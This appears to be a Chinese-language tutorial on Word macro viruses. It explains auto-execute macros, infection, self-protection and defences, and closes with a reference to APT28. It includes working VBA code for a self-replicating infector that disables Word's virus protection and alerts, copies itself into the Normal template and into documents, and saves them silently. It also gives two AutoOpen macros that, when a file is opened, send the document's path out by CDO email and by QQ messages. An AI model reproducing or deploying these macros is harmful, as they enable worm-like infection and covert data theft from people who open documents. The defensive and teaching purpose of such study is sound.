宏病毒攻防机理

宏病毒是Windows平台病毒中的一类,它是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。

1. 宏

1.1 基本概念

宏是一种批量处理的称谓,是指能组织到一起作为独立的命令使用的一系列Word命令,可以实现任务执行的自动化,简化日常的工作。Microsoft Office使用Visual Basic for Applications(VBA)进行宏的编写。

注意,在Office中可以直接使用Word的宏函数,而WPS需要安装VBA for WPS后才能使用。

1.2 创建宏

代码示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
Sub test()
'
' test Macro
'
Dim sLineNum3 As String '行号(文字)
Dim nLineNum '行号(数值)
Dim i As Long

Title = "输入编号信息"
a1 = "请输入总编号开始号:"
b1 = InputBox(a1, Title)
End Sub

运行宏函数,弹出界面:

1.3 录制宏

宏的默认安全性非常高,于是会导致宏程序不会自动执行,我们可以修改降低其安全性。

假设我们现在有这样一个需求,将文档中的内容隐藏,该怎么做呢?传统方法是全选内容(Ctrl + A),右键 -> 字体(Ctrl + D),勾选隐藏。

会将所选内容隐藏,包括图片。如果需要显示,则将隐藏选项取消勾选即可。

这些小技巧往往会隐藏在病毒或木马中。那么我们是否可以将这隐藏和还原两个操作用两个快捷键关联起来呢?下次再进行相关操作时,会更加方便简洁。

录制一个新宏MacroHide隐藏内容,快捷键为Ctrl + Shift + H。

同样操作,再录制一个新宏MacroShow还原,快捷键为Ctrl + Shift + S。

此时,当我们按下Ctrl + Shift + H将所有内容隐藏,按下Ctrl + Shift + S所有内容显示。

2. 宏病毒

2.1 基础知识

宏病毒是一种寄存在文档或模板的宏中的计算机病毒,存在于数据文件或模板中(字处理文档、数据表格、数据库、演示文档等),使用宏语言编写,利用宏语言的功能将自己寄生到其它数据文档。

最早的时候,人们认为数据文档是不可能带有病毒的,因为数据文档不包含指令,知道宏病毒出现才令大家改观。当我们打开带有宏病毒的文档,其中的宏就会被执行,宏病毒被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会感染上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。

那么,宏病毒如何获得控制权呢?只有拿到控制权之后宏病毒才能进行传播,它和Office的特性相关。Office支持一些自动执行的宏,如果将病毒代码放到自动执行的宏中,Word打开时会给病毒传播创造条件。利用自动执行宏将病毒代码写在宏汇中,由于这些宏会自动执行,从而获取控制权。

  1. Word
    • AutoOpen:打开Word文档
    • AutoClose:关闭Word文档
    • AutoExec:打开Word程序
    • AutoExit:退出Word程序
    • AutoNew:新建宏
  2. Excel
    • Auto_Open
    • Auto_Close
    • Auto_Activate
    • Auto_Deactivate
  3. Office97/2000
    • Document_Open
    • Document_Close
    • Document_New

2.2 自动宏案例

我们通过VB编辑器增加宏代码,定义了五个自动宏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Sub AutoOpen()
MsgBox "您好,您打开了Word文档!", 0, "宏病毒测试"
End Sub

Sub AutoExec()
MsgBox "您好,您打开了Word程序!", 0, "宏病毒测试"
End Sub

Sub AutoNew()
MsgBox "您好,您选择了新建文件!", 0, "宏病毒测试"
End Sub

Sub AutoExit()
MsgBox "欢迎下次光临!", 0, "宏病毒测试"
End Sub

Sub AutoClose()
MsgBox "下次还要来哦!", 0, "宏病毒测试"
End Sub

Sub MyFirstVBAProcedure()
Dim NormProj
MsgBox "欢迎光临V5LE0N9安全实验室!", 0, "宏病毒测试"
Set NormProj = NormalTemplate.VBProject
MsgBox NormProj.Name, 0, "模块文件名" '显示模板文件的名字
With Assistant.NewBalloon '调出助手
.Icon = msoIconAlert
.Animation = msoAnimationGetArtsy
.Heading = "Attention,Please!"
.Text = "Today I turn into a martian!"
.Show
End With
End Sub

当关闭Word程序时,首先关闭Word文档,再关闭Word程序。

当运行MyFirstVBAProcedure宏时,弹出提示框后出现错误:

暂时不知道怎么解决。

2.3 宏病毒感染

在Word和其它微软Office系列办公软件中,宏分为两种:

  • 内建宏:局部宏,位于文档中,对该文档有效,如打开文档(AutoOpen)、保存、打印、关闭等
  • 全局宏:位于Office模板中,为所有文档所共用,如打开Word程序(AutoExec)

宏病毒的传播路线如下:

  • 单机:单个Office文档 -> Office文档模板 -> 多个Office文档(文档到模块感染)
  • 网络:电子邮件居多

宏病毒感染流程:首先Office文档被感染病毒,当文档打开会执行自动宏,如果宏被执行,它会去检测当前模板是否被感染病毒。如果没有被感染,它将释放自身的病毒代码。当模板被感染之后,系统中任何一个文档被打开,都会执行模板中的病毒,宏病毒进行传播。

宏病毒的感染方案就是让宏在数据文档和文档模板之间互相感染。

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Sub test()
'On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayStatusBar = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False '以上是病毒基本的自我保护措施
Set Doc = ActiveDocument.VBProject.VBComponents
'取当前活动文档中工程组件集合
Set Tmp = NormalTemplate.VBProject.VBComponents
'取Word默认模板中工程组件集合
Const ExportSource = "c:\jackie.sys"
Const VirusName = "AIGTMV1" '该字符串相当于一个病毒感染标志
Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource
'将当前病毒代码导出到c:\jackie.sys文件保存

For i = 1 To Tmp.Count
If Tmp(i).Name = VirusName Then TmpInstalled = 1
'检查模板是否已经被感染病毒
Next i

For j = 1 To Doc.Count
If Doc(j).Name = VirusName Then DocInstalled = 1
'检查当前活动文档是否已被感染病毒
Next j
If TmpInstalled = 0 Then '如果模板没有被感染,对其进行感染
Tmp.Import ExportSource '从c:\jackie.sys将病毒导入模板
NormalTemplate.Save '自动保存模板,以免引起用户怀疑

End If
If DocInstalled = 0 Then '如果当前活动文档没有被感染
Doc.Import ExportSource '从c:\jackie.sys将病毒导入当前活动文档
ActiveDocument.SaveAs ActiveDocument.FullName '自动保存当前活动文档
End If
MsgBox "Word instructional macro by jackie", 0, "Word.APMP"
End Sub

宏病毒也可以通过网络进行传播,例如电子邮件。

  • Mellisa病毒:自动往OutLook邮件用户地址簿中的前50位用户发送病毒副本
  • “叛逃者”病毒:集成了感染Office文档的宏病毒感染功能,并且可以通过OutLook发送病毒副本

3. 宏病毒的自我保护与防御

宏病毒的自我保护主要包括三种方法:

  1. 禁止提示信息

    On Error Resume Next 如果发生错误,不弹出出错窗口,继续往下执行语句

    Application.DisplayAlerts = wdAlertsNone 不弹出警告窗口

    Application.DisplayStatusBar = False 不显示状态栏,以免显示宏的运行状态

    Options.VirusProtection = False 关闭病毒保护功能,运行前如果包含宏,不提示

  2. 屏蔽命令菜单,不允许查看宏

    • 通过特定宏定义

      1
      2
      3
      Sub ViewVBCode()
      MsgBox "Unexcpected error",16
      End Sub

      ViewCode过程和ViewVBCode函数一样,如果用户按工具栏上的小图标就会执行这个过程。

    • Disable或删除特定菜单项

      用来使“视图 -> 宏”菜单失效的语句

      1
      CommandBars("Tools").Controls(16).Enabled = False
  3. 隐藏宏的真实病毒代码

    在自动宏中,不包括任何感染或破坏的代码,但包含了创建、执行和删除新宏(实际进行感染和破坏的宏)的代码,将宏代码字体颜色设置成与背景一样的白色等

宏病毒的防御措施包括:

  • 一旦发现计算机Office软件打开后弹出系统警告框,并且无法“另存为”,就表示该文件已感染宏病毒,此时不能再打开其它文件,否则其它文件也会被感染,应马上关闭删除该文件。若文件重要不能删除,则需用杀毒软件全盘扫描,处理感染文件。
  • 开启禁用宏进行防止再次感染病毒。在“受信任位置”中,删除“可靠来源”列表框中的不安全来源,根据实际情况设置是否信任所有安装的加载项和模板,设置宏的安全性。
  • 安装杀毒软件,打全系统补丁是预防计算机病毒的基本措施,当然也适用于宏病毒。除此之外,宏病毒还有专门的防治措施。
  • 在线沙箱检测文档是否包含宏病毒。

4. 案例:CDO自发邮箱

接下来我们制作一个宏,当对方打开文档时就知道该文档在对方电脑存储的具体路径。常见方法包括:

  • 邮件组件,如CDO组件
  • 远程脚本

这里采用CDO自发邮件实现。通过Word VB编写脚本,设置文档打开时运行,利用CDO发送电子邮件将文件的路径和名字发送到指定邮箱中。具体步骤如下:

  1. 利用AutoOpen执行并打开文档时运行
  2. 利用WordObj.ActiveDocument获取文件信息
  3. 利用CDO实现电子邮件信息传递

注意,千万别小瞧这个功能,如果是一封钓鱼邮件或运行宏病毒自动采集个人电脑信息发送至指定邮箱,其危害性非常大,而且该攻击手段广泛存在于许多亚洲攻击组织中。

新建宏函数AutoOpen,核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Sub AutoOpen()
' AutoOpen宏

' 获取文件夹路径
Dim WordObj As Object
Dim Doc As Object
Set WordObj = GetObject(, "Word.Application")
Set Doc = WordObj.ActiveDocument
MsgBox (Doc.Path)

' 定义邮件地址
Const from1 = "152xxxxxxxx@163.com"
Const to1 = "xxxxxxxxxx@qq.com"
Const password = "xxxxxxxxxx"

' 添加CDO库
Set CDO = CreateObject("CDO.Message")
CDO.from = from1
CDO.to = to1
CDO.Subject = Doc.Name
CDO.Textbody = Doc.Path

' 微软服务器网址
MsgBox ("发送邮件")
Const proxyUrl = "http://schemas.microsoft.com/cdo/configuration/"
With CDO.Configuration.Fields
.Item(proxyUrl & "sendusing") = 2 '发送端口
.Item(proxyUrl & "smtpserver") = "smtp.163.com" 'SMTP服务器地址
.Item(proxyUrl & "smtpserverport") = 25 'SMTP服务器端口
.Item(proxyUrl & "smtpauthenticate") = 1 '是否开启用户名密码验证
.Item(proxyUrl & "sendusername") = from1 '发送方邮箱名称
.Item(proxyUrl & "sendpassword") = password '发送方邮箱密码
.Item(proxyUrl & "smtpusessl") = True '是否使用ssl协议
.Item(proxyUrl & "smtpconnectiontimeout") = 60 '时延
.Update
End With

' 发送数据
CDO.Send
Set CDO = Nothing
MsgBox ("成功!")
End Sub

关闭文档,重新打开,出现弹窗:

这是由于发送方没有开启SMTP服务导致的错误。开启SMTP服务后,password的值要修改为授权码,才可以发送成功。

在收信方的邮箱中可以看到发送方发送过来的文件在发送方电脑的绝对路径。

5. 案例:QQ发送消息

接着通过QQ发送消息来制作宏病毒,并获取对方电脑存储的具体路径。具体流程:

  • 获取文件路径
  • 将路径复制至剪贴板
  • 发送QQ消息
  • 通过sendkeys输入,Ctrl + V发送粘贴内容

注意,腾讯WebQQ停止运营了,且不好获取QQ的聊天窗口句柄,才采用了该方法。

完整宏代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Sub AutoOpen()
' 获取文件路径
DocPath = ActiveDocument.Path
DocName = ActiveDocument.Name
Text1 = "DocPath:" + DocPath
Text2 = "DocName:" + DocName
Result = Text1 + Text2
MsgBox (Result)

' 将内容送入剪贴板
With CreateObject("new:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
.SetText Result
.PutInClipboard
End With

' 发送QQ消息
Shell "cmd /c start tencent://Message/?Uin=收到消息的QQ号码&weName=qzone.qq.com & Menu=yes"

Dim t As Single
t = Timer
Do
DoEvents
Loop While Timer - t < 2 '搁置2s

' 粘贴
SendKeys "^v"
SendKeys "{ENTER}"
SendKeys "{ENTER}"
SendKeys "^{ENTER}"
End Sub

关闭文档,重新打开,出现弹窗:

点击确定后,直接向指定联系人发送Word文档在当前用户的绝对路径。当然,前提是用户已经在电脑上登录了QQ。

6. 网络攻击中的宏病毒

APT28组织是一个与俄罗斯政府有关的高级攻击团伙,我将通过分析该组织的攻击样本、攻击方法、攻击目的来研究一个APT组织。本次分析的是该团伙使用的宏病毒,所有资料均来自互联网。

此次分析的样本一共如下三个:
攻击时间 攻击具体目标 发现安全公司 投递方式

  • 2018年10月到11月 欧洲外交处理事务政府组织 paloalto 鱼叉邮件
  • 2017年7月到8月 酒店行业 Fireeye 鱼叉邮件
  • 2017年10月 美国研究机构 cisco 鱼叉邮件

具体的宏病毒分析看https://xz.aliyun.com/t/3427